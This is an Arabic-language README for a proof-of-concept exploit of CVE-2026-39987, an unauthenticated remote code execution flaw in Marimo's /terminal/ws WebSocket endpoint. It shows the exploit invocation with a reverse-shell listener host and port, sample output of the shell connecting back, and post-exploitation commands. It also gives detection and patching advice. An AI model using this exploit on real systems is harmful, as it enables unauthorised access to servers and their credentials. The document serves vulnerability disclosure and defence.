
استغلال إثبات المفهوم لثغرة RCE قبل المصادقة في Marimo. يستخدم نقطة نهاية WebSocket غير الموثَّقة /terminal/ws لإنشاء PTY وإقامة قشرة عكسية.
CVE-2026-39987 هي ثغرة حرجة من نوع تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة (RCE) تؤثر على Marimo، وهي بيئة دفاتر ملاحظات Python تفاعلية.
توجد الثغرة في نقطة نهاية WebSocket الطرفية الخاصة بـ Marimo:
/terminal/ws
فشلت نقطة النهاية في فرض المصادقة بشكل صحيح قبل إنشاء جلسة طرفية. ونتيجة لذلك، يمكن لمهاجم بعيد غير مصادَق قادر على الوصول إلى نسخة Marimo معرضة للخطر إنشاء اتصال WebSocket والحصول على قشرة PTY تفاعلية.
لا توجد حاجة إلى أي بيانات اعتماد صالحة.
| الخاصية | القيمة |
|---|---|
| CVE | CVE-2026-39987 |
| المنتج | Marimo |
| الثغرة | تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة |
| ناقل الهجوم | الشبكة |
| المصادقة | غير مطلوبة |
| تفاعل المستخدم | غير مطلوب |
| CWE | CWE-306 — غياب المصادقة لوظيفة حرجة |
| الخطورة | حرجة |
| الإصدار المُصحَّح | 0.23.0 |
كان سبب الثغرة هو عدم اتساق تطبيق المصادقة بين نقاط نهاية WebSocket الخاصة بـ Marimo.
في حين أن وظائف WebSocket الأخرى تنفذ التحقق من المصادقة، فإن نقطة النهاية المعرضة للخطر /terminal/ws كانت قادرة على قبول اتصال دون التحقق من الطالب أولًا.
تنشئ نقطة النهاية الطرفية المعرضة للخطر PTY تفاعلية بعد قبول اتصال WebSocket.
من الناحية المفاهيمية، يكون تدفق الطلب المعرض للخطر كما يلي:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
يكمن الحد الأمني المهم في غياب التحقق من المصادقة.
يجب ألا تسمح نقطة نهاية تتيح تنفيذ أوامر عشوائية لعميل غير مصادَق بالوصول إلى منطق إنشاء PTY.
يمكن أن يوفّر الاستغلال الناجح تنفيذ أوامر عشوائية بصلاحيات عملية Marimo.
اعتمادًا على تكوين النشر، قد يسمح ذلك للمهاجم بـ:
يكون الأثر بالغ الأهمية في بيئات دفاتر الملاحظات لأنها عادةً ما تمتلك وصولًا إلى مجموعات البيانات وواجهات برمجة التطبيقات وبيانات الاعتماد وموارد السحابة والبنية التحتية للتطوير.
تحذير: شغّل إثبات المفهوم (PoC) فقط ضد الأنظمة التي تملكها أو المصرَّح لك صراحةً باختبارها.
يحتوي هذا المستودع على إثبات مفهوم لتوضيح الثغرة في بيئة خاضعة للتحكم.
يوضح المثال أدناه الاستغلال ضد نسخة محلية/مختبرية.
على سبيل المثال:
http://127.0.0.1:8081
يجب أن تكون نسخة Marimo المعرضة للخطر قيد التشغيل قبل إطلاق إثبات المفهوم.
مثال:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
حيث:
-u Target Marimo instance
--host Listener IP
--port Listener port
ينشئ إثبات المفهوم اتصال الطرفية المعرضة للخطر وينتظر اتصال القشرة الناتج.
مثال على المخرجات:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
بعد الاستغلال الناجح، يتلقى المهاجم قشرة تعمل بصلاحيات عملية Marimo.
whoami
مثال:
marimo
id
مثال:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
يوضح هذا أنه يتم تنفيذ أوامر عشوائية عن بُعد باسم حساب marimo.
يمكن لإثبات المفهوم أيضًا توضيح الوصول إلى نظام الملفات المتاح للعملية المخترَقة.
ls -la
مثال:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
الانتقال إلى جذر نظام الملفات:
cd /
ls
مثال:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
يؤكد هذا أن القشرة البعيدة تمتلك وصولًا طبيعيًا إلى نظام الملفات وفقًا لصلاحيات عملية Marimo وقيود الحاوية المفروضة عليها.
يمكن تلخيص سلسلة الثغرة الكاملة كما يلي:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
يحدث الفشل الأمني الحرج في الخطوة 3.
تشمل المؤشرات المحتملة للاستغلال اتصالات WebSocket غير متوقعة إلى:
/terminal/ws
ونشاطًا غير معتاد للعمليات ينطلق من خادم Marimo.
ينبغي على المدافعين التحقق من:
قم بترقية Marimo إلى إصدار مُصحَّح:
0.23.0 or later
بالإضافة إلى ذلك:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
يُقدَّم هذا المشروع لأغراض البحث الأمني والتحقق من الثغرات والتعليم.
لا تستخدم إثبات المفهوم (PoC) ضد أنظمة لا تملكها أو لا تملك تفويضًا صريحًا لاختبارها.